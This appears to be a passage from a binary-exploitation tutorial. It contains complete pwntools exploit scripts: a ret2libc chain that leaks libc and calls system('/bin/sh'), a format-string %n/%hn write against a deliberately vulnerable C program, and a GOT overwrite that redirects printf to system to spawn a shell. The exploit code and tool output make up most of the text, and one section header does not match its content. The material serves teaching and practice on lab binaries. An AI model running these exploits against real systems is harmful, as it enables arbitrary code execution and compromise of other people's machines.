main_addr = int(r[:-1], 16)
info("Leaked <main>: %#x" % main_addr)
elf.address = main_addr - 0x11f8
info("Base Addr: %#x" % elf.address)


pop_rdi_offset = 0x12ab
pop_rdi = elf.address + pop_rdi_offset
padding = 264

payload = flat(
    padding * b'A',
    pop_rdi,
    elf.got.puts,
    elf.plt.puts,
    elf.symbols.vuln
)

io.sendlineafter(b':P', payload)

print(io.recvlines(2))
got_puts = unpack(io.recvline()[:6].ljust(8,b"\x00"))
info("GOT puts: %#x", got_puts)
libc_base = got_puts - 0x0805a0
info("LIBC: %#x", libc_base)
system = libc_base + 0x053110
exit = libc_base + 0x42340
sh = libc_base + 0x1a7ea4

ret_offset = 0x1016
ret = elf.address + ret_offset

payload = flat(
    padding * b'A',
    ret,
    pop_rdi,
    sh,
    system,
    exit
)

io.sendline(payload)
io.interactive()

Stack Overwrite (32bits)

To overwrite the GOT we need Partial RELRO and a format string vulnerability.

$ checksec got_overwrite  
    Arch:       i386-32-little
    RELRO:      Partial RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        No PIE (0x8048000)
    Stripped:   No
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

// gcc -z execstack -z norelro -fno-stack-protector -o format1 format1.c

int main(int argc, char *argv[])
{
    int target = 0xdeadc0de;
    char buffer[64];

    fgets(buffer, 64, stdin);
    printf(buffer);

    if(target == 0xcafebabe) {
        printf("Good job !\n");
        return EXIT_SUCCESS;
    } else {
        printf("Nope...\n");
        exit(EXIT_FAILURE);
    }
}

There are another intersting format specifier %n. This specifier will write the size of our input at the address pointed by %n.

For example if our input is AAAA%n means that we will write the value 4 at the address pointed by %n.

But where on the stack is pointing?

// Check the pointer
$ ./format1
AAAA.%p       
AAAA.0x40
Nope...

// Write 
$ ./format1
AAAA.%n
Segmentation fault

segfault… Why ? That’s because we try to write the value 4 (the size of our string) at the address 0x40 (the address pointed by %n) so, obviously it segfault…

Remember we control the input, and we can specify a position to read/write on the stack with %<num>$n.

First, to write 0xcafebabe in target, we have to find the target pointer on the stack.

[------------------------stack-------------------]
0000| 0xbffff650 --> 0xbffff66c ("AAAA\n")
0004| 0xbffff654 --> 0x40 ('@')
0008| 0xbffff658 --> 0xb7fcb5a0 --> 0xfbad2288 
0012| 0xbffff65c --> 0x400637 (<main+23>:   add    ebx,0x1351)
0016| 0xbffff660 --> 0x0 
0020| 0xbffff664 --> 0xbffff704 --> 0x7d074f84 
0024| 0xbffff668 --> 0xb7fcb000 --> 0x1b2db0 
0028| 0xbffff66c ("AAAA\n")
0032| 0xbffff670 --> 0xffff000a 
0036| 0xbffff674 --> 0xb7fcb000 --> 0x1b2db0 
0040| 0xbffff678 --> 0xb7e24e18 --> 0x2bb6 
0044| 0xbffff67c --> 0xb7fd5858 --> 0xb7e18000 --> 0x464c457f 
0048| 0xbffff680 --> 0xb7fcb000 --> 0x1b2db0 
0052| 0xbffff684 --> 0xbffff764 --> 0xbffff885 ("/home/user/format1")
0056| 0xbffff688 --> 0xb7ffed00 --> 0x0 
0060| 0xbffff68c --> 0x40000 
0064| 0xbffff690 --> 0x0 
0068| 0xbffff694 --> 0x401988 --> 0x187c 
0072| 0xbffff698 --> 0x1 
0076| 0xbffff69c --> 0x40070b (<__libc_csu_init+75>:    add    edi,0x1)
0080| 0xbffff6a0 --> 0x1 
0084| 0xbffff6a4 --> 0xbffff764 --> 0xbffff885 ("/home/user/format1")
0088| 0xbffff6a8 --> 0xbffff76c --> 0xbffff898 ("LS_...
0092| 0xbffff6ac --> 0xdeadc0de ; Here is the pointer
0096| 0xbffff6b0 --> 0xbffff6d0 --> 0x1 
0100| 0xbffff6b4 --> 0x0 
0104| 0xbffff6b8 --> 0x0 
0108| 0xbffff6bc --> 0xb7e30286 (<__libc_start_main+246>:   add    esp,0x10)
0112| 0xbffff6c0 --> 0x1 
0116| 0xbffff6c4 --> 0xb7fcb000 --> 0x1b2db0 
[----------------------]

We want to modify the 23rd argument on the stack 0xbffff6ac.

If we can find the pointer to AAAA, we can replace AAAA by a specific address to write to. Just recheck the stack, you’ll see that AAAA is the 7th argument.

$ ./format1
AAAA%7$p
AAAA0x41414141
Nope...

We want to write 0xcafebabe. Here, we got 2 issues, first, if writing 4 chars as input means writing 4 at a specific address.

We should write 3405691582 (0xcafebabe in dec) chars to write 0xcafebabe which it’s impossible.

There is a a trick, we can use AAAA%<value-4>x%7$n.

Example:

AAAA%96x%7$n  -> 100(dec) into 0x41414141

Note: %96 will pad with spaces.

The second issue is that you don’t want to do AAAA%3405691578x%7$n, because it will write a 3405691582 length pad on the standard output, which it will take forever. So instead of writing a long integer (4 bytes), we will write 2 short integers (2 bytes).

To do that, we will use another specifier %hn.

Here the fformula to calculate the padding:

[The value we want] - [The bytes alredy wrote] = [The value to set].

It will be 47806 - 8 = 47798, because we already wrote 8 bytes (the two 4 bytes of addresses).

It will be 51966 - 47806 = 4160, because we already wrote 47806 bytes (the two 4 bytes addresses and 47798 bytes from the previous writing).

\xac\xf6\xff\xbf\xae\xf6\xff\xbf%47798x%7$hn%4160x%8$hn

- \xac\xf6\xff\xbf -> 0xbffff6ac points to low order bytes
- \xae\xf6\xff\xbf -> 0xbffff6ae points to high order bytes
- %47798x -> will write 477798 bytes on the standard output
- %7$hn -> will write 8 + 47798 = 47806 bytes (or 0xbabe) at the first address specified (0xbffff6ac).
- %4160x -> will write 4160 bytes on the standard output.
- %8$hn -> will write 8 + 47798 + 4160 = 51966 (or 0xcafe) at the second address specified (0xbffff6ae).

GOT Overwrite (32bits)

When the program is executed, the GOT (Global Offset Table) is initialized for every external functions (like libc functions). By doing so, the executable will cache the memory address in the GOT, so that it doesn’t have to ask libc each time an external function is called.

The goal here will be to overwrite the address of printf() in the GOT with the address of system(). There are 4 steps here :

But first we need to find the offset in the stack:

$ ./got_overwrite
AAAA%7$p
AAAA0x41414141
Nope...
$ objdump -R got_overwrite                      

got_overwrite:     formato del fichero elf32-i386

DYNAMIC RELOCATION RECORDS
OFFSET   TYPE              VALUE
0804bff8 R_386_GLOB_DAT    __gmon_start__
0804bffc R_386_GLOB_DAT    stdin@GLIBC_2.0
0804c00c R_386_JUMP_SLOT   printf@GLIBC_2.0
0804c010 R_386_JUMP_SLOT   fgets@GLIBC_2.0
0804c014 R_386_JUMP_SLOT   __stack_chk_fail@GLIBC_2.4
0804c018 R_386_JUMP_SLOT   setgid@GLIBC_2.0
0804c01c R_386_JUMP_SLOT   __libc_start_main@GLIBC_2.0
0804c020 R_386_JUMP_SLOT   setuid@GLIBC_2.0

$ ldd got_overwrite                                          
        linux-gate.so.1 (0xf7fc5000)
        libc.so.6 => /lib32/libc.so.6 (0xf7d65000)
        /lib/ld-linux.so.2 (0xf7fc7000)


$ readelf -s /lib32/libc.so.6 | grep system             
  1151: 00052220    55 FUNC    WEAK   DEFAULT   14 system@@GLIBC_2.0

$ ipython3
In [1]: hex(0x52220+0xf7d65000)
Out[1]: '0xf7db7220

Once we have all values we want in order to exploit we can use pwntools to exploit it manually.

from pwn import *

# Allows you to switch between local/GDB/remote from terminal
def start(argv=[], *a, **kw):
    if args.GDB:  # Set GDBscript below
        return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
    elif args.REMOTE:  # ('server', 'port')
        return remote(sys.argv[1], sys.argv[2], *a, **kw)
    else:  # Run locally
        return process([exe] + argv, *a, **kw)


# Function to be called by FmtStr
def send_payload(payload):
    io.sendline(payload)
    return io.recvline()



# Specify your GDB script here for debugging
gdbscript = '''
init-pwndbg
break main
continue
'''.format(**locals())


# Set up pwntools for the correct architecture
exe = './got_overwrite'
# This will automatically get context arch, bits, os etc
elf = context.binary = ELF(exe, checksec=False)
# Change logging level to help with debugging (error/warning/info/debug)
context.log_level = 'debug'

# ===========================================================
#                    EXPLOIT GOES HERE
# ===========================================================

io = start()


libc = elf.libc
libc.address = 0xf7d65000 # ldd got_overwrite

format_string = FmtStr(execute_fmt=send_payload)
info("format string offset: %d", format_string.offset)

# Print address to overwrite (printf) and what we want to write (system)
info("address to overwrite (elf.got.printf): %#x", elf.got.printf)
info("address to write (libc.functions.system): %#x", libc.symbols.system)

format_string.write(0x0804c00c, p16(0x7220))  # Lower-order
format_string.write(0x0804c00e, p16(0xf7db))  # Higher-order

format_string.execute_writes()
io.sendline(b'/bin/sh')
io.interactive()

References